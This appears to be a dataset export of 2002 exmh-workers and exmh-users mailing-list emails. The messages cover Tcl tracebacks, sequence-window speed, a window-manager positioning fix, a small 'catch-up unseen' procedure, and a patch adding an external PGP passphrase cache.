""Inc_PresortFinish"" line 7) > > invoked from within > > ""Inc_PresortFinish"" > > invoked from within > > "".fops.flist invoke"" > > (""uplevel"" body line 1) > > invoked from within > > ""uplevel #0 [list $w invoke]"" > > (procedure ""tkButtonUp"" line 7) > > invoked from within > > ""tkButtonUp .fops.flist > > "" > > (command bound to event) > > > > > > It seems to only happen in a folder with no unseen messages. > > > > Chris, is this related to your recent changes? > > Curious. I changed the arguments to Ftoc_ShowSequences to drop the folder > argument and instead have an optional msgids argument. Somehow your version > of ScanFolder is still trying to pass $F. You seem to have the latest > ftoc.tcl (1.36), but not the latest scan.tcl (1.27). > > I don't know how that happened, but try getting your source tree completely > up to date. Actually, I take that back. You're not running the latest ftoc.tcl either. It probably is my bug, but it's in code that's been changed since you last updated from CVS (Saturday), so please update and let's see if the problem is still there. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_2018282504P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9jywkK9b4h5R0IUIRAooIAJ4yCHFQ22/6OBD61tWNbb2sScOxPwCdGYE+ cVdYZOjdN7A/nWpRHqusbJo= =AZsA -----END PGP SIGNATURE----- --==_Exmh_2018282504P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Scott Lipcon ,"Mon, 23 Sep 2002 10:13:57 -0500",Re: traceback in new exmh,"--==_Exmh_2112058634P Content-Type: text/plain; charset=us-ascii > From: Scott Lipcon > Date: Mon, 23 Sep 2002 10:54:19 -0400 > > Oops - turns out i wasn't careful installing it, so the exmh(library) > variable was pointing at my old installation. I'm surprised it worked > as well as it did. > > In any case, I removed the old library directory, and edited exmh, > exmh-bg, exmh-strip, etc to point at the right one. Now I'm getting > another traceback on startup: > > can't read ""mhPriv(pubseq,family,cur)"": no such variable > while executing > ""MhSeq $folder $seq add $mhPriv(pubseq,$folder,$seq) [MhSeqExpand > $folder $msgids"" > (procedure ""MhReadSeqs"" line 73) > invoked from within > ""MhReadSeqs $folder seqs"" > (procedure ""Mh_Sequences"" line 2) > invoked from within > ""Mh_Sequences $folder"" > (procedure ""Flist_UnseenUpdate"" line 4) > invoked from within > ""Flist_UnseenUpdate $folder"" > (procedure ""FolderChange"" line 51) > invoked from within > ""FolderChange family {Msg_Show cur}"" > invoked from within > ""time [list FolderChange $folder $msgShowProc"" > (procedure ""Folder_Change"" line 3) > invoked from within > ""Folder_Change $exmh(folder)"" > (procedure ""Exmh"" line 101) > invoked from within > ""Exmh"" > (""after"" script) > > > +family is the folder I was in when I quit exmh. That shouldn't have been able to happen, but I've just made the code slightly more bullet proof. -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_2112058634P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9jy+1K9b4h5R0IUIRAjO9AJ0TO8a3237+K6/EJhI9eCv/E1K4OQCeIN4j nvTrcJ0dWiRGVWA9RZz7Kqk= =WTaV -----END PGP SIGNATURE----- --==_Exmh_2112058634P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Scott Lipcon ,"Mon, 23 Sep 2002 17:19:59 -0500",Re: traceback in new exmh,"--==_Exmh_-1590407866P Content-Type: text/plain; charset=us-ascii > From: Scott Lipcon > Date: Mon, 23 Sep 2002 17:49:47 -0400 > > Chris, > > I'm home now, and this copy of exmh is pretty bad - I'm running from > CVS on Sunday night - the only change since then was the one you made > this morning for ""bulletproofing in MhReadSeqs"". > > I run exmh, and I can visably see it count up the number of unseen > messages as it looks through the folders - I have about 3000 unseen > messages in maybe 10 or 12 folders. It takes a few seconds for all > of the folders in the fcache to turn blue. This is true...it's now looking at more than just unseen, so it takes a little while (in the background) to build the sequences window. There is probably some tuning possible in this area. > In +inbox, I have 4 unread messages. They aren't blue, they are > white background with a normal colored font. I changed the default display of unseen messages from a foreground of blue to a background of white to make it possible to see what other sequences unseen messages may be in. I *did* ask Brent before I did it. If you like the old behavior, the old lines are still in app-defaults-color, but commented out. > If I click on a message, I get the following traceback: > > invalid command name ""Mh_MarkSeen"" > while executing > ""Mh_MarkSeen $exmh(folder) $msgid"" > (procedure ""Hook_MsgShow_update_unseen"" line 5) > invoked from within > ""$cmd $mhProfile(path)/$exmh(folder)/$msgid mimeHdr"" > (procedure ""MsgShow"" line 23) > invoked from within > ""MsgShow $msgid"" > (procedure ""MsgChange"" line 18) > invoked from within > ""MsgChange 66 show"" > invoked from within > ""time [list MsgChange $msgid $show"" > (procedure ""Msg_Change"" line 3) > invoked from within > ""Msg_Change $msgNum $show"" > (procedure ""Msg_Pick"" line 8) > invoked from within > ""Msg_Pick $lineno show"" > (procedure ""FtocRangeEnd"" line 12) > invoked from within > ""FtocRangeEnd [lindex [split [.ftoc.t index current] .] 0] 0"" > (command bound to event) This is because of your Hook_MsgShow_update_unseen which is calling a function which no longer exists. I suspect you need Seq_Del $exmh(folder) unseen $msgid now instead of Mh_MarkSeen $exmh(folder) $msgid > It appears that the message does get marked as seen though, as it > loses the white background, and nmh reports the same. > > If I click the flist button, it zero's the unseen count, and then > there is again a visible delay as it counts up all the unseen > messages - maybe 3-4 seconds. > > I really think my installation is OK now, but if this behavior is just > really strange I'll blow everything away and reinstall. I'm happy to > spend some time helping to track this down, I don't really need exmh. > I'm comfortable enough using nmh. > > Scott > > > > _______________________________________________ > Exmh-workers mailing list > Exmh-workers@redhat.com > https://listman.redhat.com/mailman/listinfo/exmh-workers -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-1590407866P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9j5OPK9b4h5R0IUIRAqAyAJ4t1/YU6tI+81tfv8PS65DO9DiXdACfYxBP V0bKP6O4yRQjD38MQMxeWcM= =85Yk -----END PGP SIGNATURE----- --==_Exmh_-1590407866P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Scott Lipcon ,"Tue, 24 Sep 2002 12:29:35 -0500",Re: traceback in new exmh,"--==_Exmh_-1249285507P Content-Type: text/plain; charset=us-ascii > From: Scott Lipcon > Date: Mon, 23 Sep 2002 22:35:05 -0400 > > The speed is a problem for sure - It takes a long time to do the > rescanning of sequences (I associate it with hitting the 'flist' > button, or when my background flist goes off). I'm running on a > pretty fast system (Athlon 1700+, 512Mb RAM, 10k RPM ultra SCSI disk) > and hitting flist used to take no more than a second. The big > difference might just be perception, because the the old code just > updated all the folders (count + color) all at once, instead of making > it look like there is 0 unseen, then counting its way back up. > > I doubt I'll have much time in the immediate future to hack at this, > but if I do - can you suggest areas that might be the best to > optimize? If not, do you think we can put in some preferences to > disable some of the more intensive features? I'd rather disable all > the sequence support (except unseen, of course) and have reasonable > speed. I suspect people on slow machines would find the current > state unusable. If I knew where the problem was, I'd fix it myself. Finding it is probably more work than the actual fix. > > > > This is because of your Hook_MsgShow_update_unseen which is calling a fun > ctio > > n > > which no longer exists. > > > > I suspect you need > > Seq_Del $exmh(folder) unseen $msgid > > now instead of > > Mh_MarkSeen $exmh(folder) $msgid > > > > Thanks. I'm not sure I'll need it with the new sequence code, but I > might. Does your new code commit sequences immediately? The old code > didn't, so I put that in to help keep my mh and exmh windows in sync. Yes it does. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-1249285507P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9kKD/K9b4h5R0IUIRAp9DAJsF2W+5cvbayu3szYhYW7TUdAb64QCfT3/t vgMbAAyyOjJW465cwD6wpfk= =0Rwl -----END PGP SIGNATURE----- --==_Exmh_-1249285507P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 """John R. LoVerso"" ",Ted Cabeen ,"Tue, 24 Sep 2002 14:08:21 -0400",Re: Minor feature request,"> How easy would it be to code a menu item that marks as read all messages > before the current message? I often have problems reading heavy-traffic > mailing lists in exmh because I want to read only a subset of a lists > messages, but I lose track of where I was in the particular folder. > > This could also be coded more generally in the new sequences code as a way to > remove all messages before current from a particular sequence. Easy. First, you'll have to excuse me as I'm still using 2.3.1 (*), so, this may not play well with recent changes. (I did look at 2.5.1, too). And, I just did this off the top of my head (I wanted to see if it (**) still worked), so this is somewhat untested. Adding a menu entry is trivial; add this to your ~/.exmh/exmh-defaults: *Fops.more.m.uentrylist: ketchup *Fops.more.m.l_ketchup: Catch-up all b4 cur *Fops.more.m.c_ketchup: My_Mark2CurSeen Then you just need to provide the source for My_Mark2CurSeen and arrange for Exmh to include it (put it in your ~/.tk/exmh directory in your user.tcl; or in pick.patch if you enable the ""source hook"" under Prefs->Hacking Support) It's going to look something like this: proc My_Mark2CurSeen {} { global exmh pick msg Exmh_Status ""Clearing unseen up to cur..."" red Mh_SetCur $exmh(folder) $msg(id) set pick(ids) [...get message ids for ""pick 1-cur""...] busy PickMarkSeen Exmh_Status ok blue } (that's based upon the guts of Pick_MarkSeen) You need to fill in the code for the [...get...] section; I ran out of time! John (*) ""It just works"" (tm) (**) ""it"" == my head _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Anders Eriksson ,Chris Garrigues ,"Wed, 25 Sep 2002 23:09:39 +0200",Re: Exmh && speed,"cwg-dated-1033065967.2dc492@DeepEddy.Com said: > From: Chris Garrigues > Date: Wed, 28 Aug 2002 11:07:01 -0500 > > Here's a fix that I think will make a real difference. > > Ftoc_ShowSequences needs to be able to be called with an optional > list of msgids > to update and if it's called that way it only removes or adds tags > for those > messages. Then in places like MsgChange, we only update the > messages which have > changed. > > Also, a separate Ftoc_ShowSequence function which only updates the > display of > one sequence should be written which also takes an optional list of > msgids. > > In a place like MsgChange, it would only need to update the cur > sequence. > > If nobody else gets to it, I'll do this when I get back. > I just checked this in. Let me know if it helps. > Chris Congratulations Chris, you just made the hall of fame!! Speed is much better now. I haven't done any tests, but I'd say that latency dropped 2-3 times and we're back in good shape again. Well done! /Anders _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Anders Eriksson ,exmh-workers@spamassassin.taint.org,"Wed, 25 Sep 2002 23:22:26 +0200",Bug report: msg n+1 marked read,"It seems that something changed during the last 3-4 weeks. 1) In a folder, msgs 1-n is read, n=current, n upwards is unread. 2) change to another folder 3) change back to the original folder and you'll see msg n+1 being highlighted as current for a split second, that it changes back to n=current. Kind of annoying since it marks msg n+1 as read. /Anders _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Anders Eriksson ,"Thu, 26 Sep 2002 09:04:07 -0500",Re: Bug report: msg n+1 marked read,"--==_Exmh_-1577134449P Content-Type: text/plain; charset=us-ascii > From: Anders Eriksson > Date: Wed, 25 Sep 2002 23:22:26 +0200 > > > It seems that something changed during the last 3-4 weeks. > > 1) In a folder, msgs 1-n is read, n=current, n upwards is unread. > 2) change to another folder > 3) change back to the original folder and you'll see msg n+1 being > highlighted as current for a split second, that it changes back to > n=current. > > Kind of annoying since it marks msg n+1 as read. I haven't seen what you describe, but I just saw something close to what you describe. I think the message that's being incorrectly highlighted as current is related to the current message in the other folder rather than being n+1. I'll have to investigate a bit more to identify and fix the bug, but there is something going on here. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-1577134449P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9kxPXK9b4h5R0IUIRAq5fAJ43lzUupVkBkj6iJ5Rn7BsBQH5AywCfTAl2 TJnhSBCb4C+1vyt/QjnVOOQ= =94lB -----END PGP SIGNATURE----- --==_Exmh_-1577134449P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Alexander Zangerl ,exmh-users@spamassassin.taint.org,"Fri, 27 Sep 2002 14:42:27 +0200",exmh and pgp: support for external passphrase cache (+patch),"This is a multi-part message in MIME format. It has been signed conforming to RFC3156. You'll need GPG or PGP to check the signature. ------------=_1033130560-1199-5 Content-Type: multipart/mixed; boundary=""Multipart_Fri_Sep_27_14:42:27_2002-1"" Content-Transfer-Encoding: 8bit --Multipart_Fri_Sep_27_14:42:27_2002-1 Content-Type: text/plain; charset=US-ASCII i'm a very happy user of exmh, but i'm paranoid also :-) therefore i'm not too happy with exmh caching my pgp passphrases. usually i use a relatively secure tool called 'quintuple agent' to store my passphrases, and i've just added the few lines of code to exmh which allow for such external caches. the patch is attached, it is against version 2.5-1 (debian), and the files modified are extrasInit.tcl and pgpExec.tcl. i've added three new preferences in the 'general pgp' section, which allow everybody to use his/her favourite external tool to get the passphrase (everything which spits out the phrase on stdout is ok). i'd be happy if somebody with cvs access thinks that this stuff is worth to be added and does so; apart from that i'm happy for suggestions, comments or critique (mind you, i'm not exactly a special friend of tcl so my code may leave things to be desired...) regards az --Multipart_Fri_Sep_27_14:42:27_2002-1 Content-Type: text/plain; charset=US-ASCII Content-Disposition: attachment; filename=""exmh-patch"" Content-Transfer-Encoding: 8bit --- /usr/lib/exmh/extrasInit.tcl Sat Mar 2 17:26:38 2002 +++ ./extrasInit.tcl Fri Sep 27 14:22:13 2002 @@ -642,6 +642,18 @@ {pgp(passtimeout) pgpPassTimeout 60 {Minutes to cache PGP passphrase} ""Exmh will clear its memory of PGP passphrases after this time period, in minutes, has elapsed."" } +{pgp(extpass) pgpExtPass OFF {Use external passphrase cache} +""If this is enabled, then exmh will use an external program to retrieve +your passphrase when needed. pgpKeepPass and pgpPassTimeout will +be ignored.""} +{pgp(getextcmd) pgpGetExtCmd {/usr/bin/q-client get %s} {Method to query external passphrase cache} +""This external program is used to retrieve the passphrase for your key, +if pgpExtPass is active. The passphrase is expected on stdout. +The key id is substituted with %s (using format)."" } +{pgp(delextcmd) pgpDelExtCmd {/usr/bin/q-client delete %s} {Method to invalidate external passphrase cache} +""This external program is used to delete the passphrase for your key +from the external cache, if pgpExtPass is active. +The key id is substituted with %s (using format)."" } } # Make sure we don't inherit a bad pgp(version) from a previous setup --- /usr/lib/exmh/pgpExec.tcl Sat Mar 2 17:26:39 2002 +++ ./pgpExec.tcl Fri Sep 27 14:19:40 2002 @@ -647,6 +647,33 @@ proc Pgp_GetPass { v key } { global pgp + if {[info exists pgp(extpass)] && [set pgp(extpass)] \ + && [info exists pgp(getextcmd)]} { + Exmh_Debug ""Pgp_GetPass $v $key external"" + set keyid [lindex $key 0] + set cmd [format $pgp(getextcmd) $keyid] + while (1) { + Exmh_Debug ""running cmd $cmd"" + if [ catch {exec sh -c ""$cmd""} result ] { + Exmh_Debug ""error running cmd: $result"" + Exmh_Status ""Error executing external cmd"" warn + return {} + } else { + if {[Pgp_Exec_CheckPassword $v $result $key]} { + return $result + } else { + Exmh_Debug ""bad passphrase"" + if {[info exists pgp(delextcmd)]} { + Exmh_Debug ""trying to invalidate bad passphrase"" + if [catch {exec sh -c ""[format $pgp(delextcmd) $keyid]""}] { + Exmh_Debug ""invalidation failed"" + return {} + } + } + } + } + } + } else { Exmh_Debug ""Pgp_GetPass $v $key"" if {[lsearch -glob [set pgp($v,privatekeys)] ""[lindex $key 0]*""] < 0} { @@ -695,6 +722,7 @@ } return $password } + } } } --Multipart_Fri_Sep_27_14:42:27_2002-1 Content-Type: text/plain; charset=US-ASCII -- + Alexander Zangerl + az@snafu.priv.at + DSA 42BD645D + (RSA 5B586291) Kind of like my 404K fund, ""wealth not found."" -- shrox --Multipart_Fri_Sep_27_14:42:27_2002-1-- ------------=_1033130560-1199-5 Content-Type: application/pgp-signature; name=""signature.ng"" Content-Disposition: inline; filename=""signature.ng"" Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.0 (GNU/Linux) iD8DBQE9lFJBpy/2bEK9ZF0RAq/1AJwLmyZx/zs+FgJkmvcMeL57gewE6ACbBWj0 OYCcSYWXynxRpVtCbDE1R3A= =T+T4 -----END PGP SIGNATURE----- ------------=_1033130560-1199-5-- _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Paul Menage ,exmh-users@spamassassin.taint.org,"Fri, 27 Sep 2002 20:34:14 -0700",Re: Help! I've lost my exmh-unseen window!,"> > I'll have to try it with another window manager and see if I can >get exmh to put it back inside of sane boundaries. I don't have this >problem with any other windows, though. Just the exmhunseen window. > How about enabling the ""Show unseen message count in folder cache"" option? It displays the number of unseen messages next to each folder name (if greater than 0), so you don't really need the unseen window unless you're using more sequences than just ""unseen"". Paul _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Hal DeVore ,exmh-users@spamassassin.taint.org,"Fri, 27 Sep 2002 23:09:52 -0500",Re: Help! I've lost my exmh-unseen window!,">>>>> On Fri, 27 Sep 2002, ""Paul"" == Paul Menage wrote: Paul> so you don't really need the unseen window unless you're Paul> using more sequences than just ""unseen"". I use a virtual window manager and keep the main exmh window and the detached folder list on one virtual desktop but the unseen window is set to show on all desktops. Got no help for the problems, but just pointing out why some of us find the unseen window invaluable. --Hal _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 The Butterfly ,exmh-users@spamassassin.taint.org,"Fri, 27 Sep 2002 20:10:02 -0700",Re: Help! I've lost my exmh-unseen window!,"In article you write: >>>> Patrick Salsbury writes: > > Patrick> One of the features I really like about exmh is the > Patrick> ability to see which folders have unseen messages in > Patrick> them, but recently, it seems to have vanished into the > Patrick> bowels of my window manager in a place I can't get > Patrick> to. It claims to be running, but doesn't appear > Patrick> anywhere onscreen. (I'm using Enlightenment with a 2x2 > Patrick> virtual desktop. I've tried dropping it to only 1 > Patrick> screen. No help.) > Patrick> > >This may not help/work but I've discovered recently that >Alt-middle-mouse pops up a list of all of my windows. If I leave >my mouse on the background, it lists Alt-middle-mouse as ""Display >Task List Menu"". > >HTH, > >- Bill When I do that, it just moves my mouse to the very edge of a window (probably trying to center it on the off-screen window in question.) I'll have to try it with another window manager and see if I can get exmh to put it back inside of sane boundaries. I don't have this problem with any other windows, though. Just the exmhunseen window. Pat _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 The Butterfly ,exmh-users@spamassassin.taint.org,"Sun, 29 Sep 2002 00:57:01 -0700",Re: Help! I've lost my exmh-unseen window!,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 In article you write: >> >> I'll have to try it with another window manager and see if I can >>get exmh to put it back inside of sane boundaries. I don't have this >>problem with any other windows, though. Just the exmhunseen window. >> > >How about enabling the ""Show unseen message count in folder cache"" >option? It displays the number of unseen messages next to each folder name >(if greater than 0), so you don't really need the unseen window unless >you're using more sequences than just ""unseen"". > >Paul > As Hal noted, I like to have the unseen window visible in all virtual desktops, even if the main window is minimized. However, I looked through ALL the preferences menus, and didn't see anything resembling ""Show unseen message count in folder cache"". Where is that? And in what version? (I'm running v2.4 - 06/23/2000 - Creaky, I know.) I went into twm with no virtual desktops, and it came up just fine. Going back to Enlightenment I saw the same behavior as before. Then I knew it MUST be something in the window manager, so I went digging. in my ~/.englightenment/...e_session-XXXXXX.snapshots.0 file I found all the settings that E. uses for remembering border styles, positions, shaded state, etc. I have a 1600x1200 screen, and it kept putting my window at 1655x150 (AND had it shaded to boot, so it was tiny as well as offscreen!) Searching for 'unseen' in that file found this section: NEW: exmh.Exmh NAME: exmh CLASS: Exmh NEW: unseen.UnseenWin NAME: unseen CLASS: UnseenWin DESKTOP: 0 RES: 1600 1200 WH: 114 173 XY: 1655 150 0 0 LAYER: 4 STICKY: 1 SKIPTASK: 0 SKIPWINLIST: 0 SKIPFOCUS: 0 SHADE: 2 BORDER: PAGER_LEFT_BLUE I changed: XY: 1655 150 0 0 to XY: 1455 150 0 0 so it would reappear in my viewable space, restarted Enlightenment (CTRL-ALT-End) and then restarted exmh. Bingo! There was my window! I quickly told Englightenment to forget everything about that window except is border style, and now have a sveldt little entry like so: NEW: exmh.Exmh NAME: exmh CLASS: Exmh NEW: unseen.UnseenWin NAME: unseen CLASS: UnseenWin BORDER: PAGER_LEFT_BLUE Completely an Enlightenment problem, not exmh. (Though I wonder how it got mixed up in the first place? I certainly can't move a window off screen like that. Unless it was part way over then snapped offscreen when shading.) Hmm. Weird. Anyway, thanks for the suggestions, folks. Hopefully this will be useful to someone scouting the archives in the future... :-) -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.2 Comment: Don't know what PGP is? Check http://www.pgpi.org/ iQA/AwUBPZayRIJkhJBJYtPQEQIyzgCg/mMMlKnmP8Cxa/h7b5X0KrJXsLsAoO1N 6dm1Hpj6RnUGPjuUQItBYEC3 =OL5H -----END PGP SIGNATURE----- _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Ted Cabeen ,exmh-workers@spamassassin.taint.org,"Mon, 30 Sep 2002 11:57:27 -0700",Working My_Mark2CurSeen,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Content-Type: text/plain; charset=us-ascii After a bit of peeking through the exmh tcl and playing with tcl a bit, I got the ""catchup unseen messages before cur"" procedure working. Here's the code for everybody and the list archives in case anyone wants it in the future. Thanks to John R. LoVerso for putting me on the right track. proc My_Mark2CurSeen {} { global exmh pick msg set results {} Exmh_Status ""Clearing unseen up to cur..."" red Mh_SetCur $exmh(folder) $msg(id) set unseen [Mh_Unseen $exmh(folder)] foreach elem $unseen { if { $elem < $msg(id) } { lappend results $elem } } set pick(ids) $results busy PickMarkSeen Exmh_Status ok blue } If you want to use this, stick it in your .tk/exmh directory, run auto_mkindex on it and add the following lines to your .exmh/exmh-defaults: *Fops.more.m.uentrylist: ketchup *Fops.more.m.l_ketchup: Catch-up all before current *Fops.more.m.c_ketchup: My_Mark2CurSeen - -- Ted Cabeen http://www.pobox.com/~secabeen ted@impulse.net Check Website or Keyserver for PGP/GPG Key BA0349D2 secabeen@pobox.com ""I have taken all knowledge to be my province."" -F. Bacon secabeen@cabeen.org ""Human kind cannot bear very much reality.""-T.S.Eliot cabeen@netcom.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (FreeBSD) Comment: Exmh version 2.5 07/13/2001 iD8DBQE9mJ6XoayJfLoDSdIRAkaQAJ9NL83MUU6bJRB19x7MgRaDQhc3ZwCfRK5d PXat04+AnSx4tHjn5p8mZVc= =sJtk -----END PGP SIGNATURE----- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Hal DeVore ,exmh-workers@spamassassin.taint.org,"Mon, 30 Sep 2002 14:53:33 -0500",Re: Working My_Mark2CurSeen,">>>>> On Mon, 30 Sep 2002, ""Ted"" == Ted Cabeen wrote: Ted> Here's the code for everybody and the list archives in Ted> case anyone wants it in the future. Very cool! I vote for this being added to CVS, any objections? --Hal _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Ted Cabeen ,Hal DeVore ,"Mon, 30 Sep 2002 13:02:01 -0700",Re: Working My_Mark2CurSeen,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Content-Type: text/plain; charset=us-ascii In message <3703.1033415613@dimebox.bmc.com>, Hal DeVore writes: >>>>>> On Mon, 30 Sep 2002, ""Ted"" == Ted Cabeen wrote: > > Ted> Here's the code for everybody and the list archives in > Ted> case anyone wants it in the future. > >Very cool! I vote for this being added to CVS, any objections? Not from me, although you probably want to change the name of the procedure. :) - -- Ted Cabeen http://www.pobox.com/~secabeen ted@impulse.net Check Website or Keyserver for PGP/GPG Key BA0349D2 secabeen@pobox.com ""I have taken all knowledge to be my province."" -F. Bacon secabeen@cabeen.org ""Human kind cannot bear very much reality.""-T.S.Eliot cabeen@netcom.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (FreeBSD) Comment: Exmh version 2.5 07/13/2001 iD8DBQE9mK24oayJfLoDSdIRAs21AKDYeoDgFYgSUldYusaLxJTbcsPxuQCdHaFG Z4P4FqmRJlqCbvmKFJMNgJI= =dC6l -----END PGP SIGNATURE----- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Robert Elz ,Hal DeVore ,"Tue, 01 Oct 2002 14:14:57 +0700",Re: Working My_Mark2CurSeen,"Date: Mon, 30 Sep 2002 14:53:33 -0500 From: Hal DeVore Message-ID: <3703.1033415613@dimebox.bmc.com> | I vote for this being added to CVS, any objections? No, but using PickMarkSeen (and pick(ids)) as an alternative to just doing Seq_Del $exmh(folder) $mhProfile(unseen-sequence) $results seems unnecessary to me (that's all that PickMarkSeen does after all). (That can be done via ""busy"") Of course, the same is true of the badly named Pick_MarkSeen which has nothing at all to do with ""pick"" except that it (ab)uses the pick(ids) var in the same way. (Its name would be hard to change unfortunately, as it is known in app-defaults files for the ""Catch Up Unseen"" menu item, but its implementation could certainly be fixed). kre _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Hal DeVore ,exmh-workers@spamassassin.taint.org,"Tue, 01 Oct 2002 23:21:21 -0500",Unseen window versus Sequences Window,"I apologize for not catching up to the current code in so long. Now that I have I'm trying to resolve ""breakage"" and differences. The unseen window seems to have been replaced with the sequences window. While I appreciate the flexibility of the sequences window, the unseen window filled an important-to-me need: It was tiny and could be set to show on all desktops of a virtual window manager without taking a lot of space. Since my normal mode of operation involves two copies of exmh displaying on a 1024x768 vnc session, screen space is at a premium. As things stand now, I have a sequences window that shows a lot more information than I need to have handy and takes up a lot more room than I can ""spare"". I can see that I could like the new sequences window a lot for certain operations. But I'd like a nice uncluttered, tiny window that _only_ shows me info on my unread mail. One possibility that occurs to me would be a button or mouse click that ""shrinks"" the Sequences window to show only the sequences in the ""always show"" list. And of course a way to expand it back. --Hal _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Hal DeVore ,exmh-workers@spamassassin.taint.org,"Tue, 01 Oct 2002 23:22:14 -0500",Bindings problem with current CVS code,"I've had this binding in my ~/.exmh/exmhbindings for years: set {bindings(key,Flist_FindUnseen 1 ; Inc_PresortFinish)} After updating to the current code in CVS I get ""bad key f"" when I hit the ""f"" key. I can open the Bindings... Commands window and define the binding. It then works until I restart exmh. I suspect a parsing problem/change. I'll try to look into this tomorrow unless someone knows where the problem might be. --Hal _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Hal DeVore ,"Wed, 02 Oct 2002 08:56:27 -0500",Re: Bindings problem with current CVS code,"--==_Exmh_-2120603942P Content-Type: text/plain; charset=us-ascii > From: Hal DeVore > Date: Tue, 01 Oct 2002 23:22:14 -0500 > > I've had this binding in my ~/.exmh/exmhbindings for years: > > set {bindings(key,Flist_FindUnseen 1 ; Inc_PresortFinish)} > > After updating to the current code in CVS I get ""bad key f"" when > I hit the ""f"" key. I can open the Bindings... Commands window > and define the binding. It then works until I restart exmh. > > I suspect a parsing problem/change. I'll try to look into this > tomorrow unless someone knows where the problem might be. Flist_FindUnseen has changed to Flist_FindSeqs. It takes the same arguments, but I changed the name because it looks for all the sequences, not just the unseen sequence. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-2120603942P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9mvsKK9b4h5R0IUIRAsiQAJ9cQeGocfBt4zgFi0J3kLd5f6a+NACffh/N rngnJZnZ5eU67ZIqlLGmC2w= =BCEQ -----END PGP SIGNATURE----- --==_Exmh_-2120603942P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com 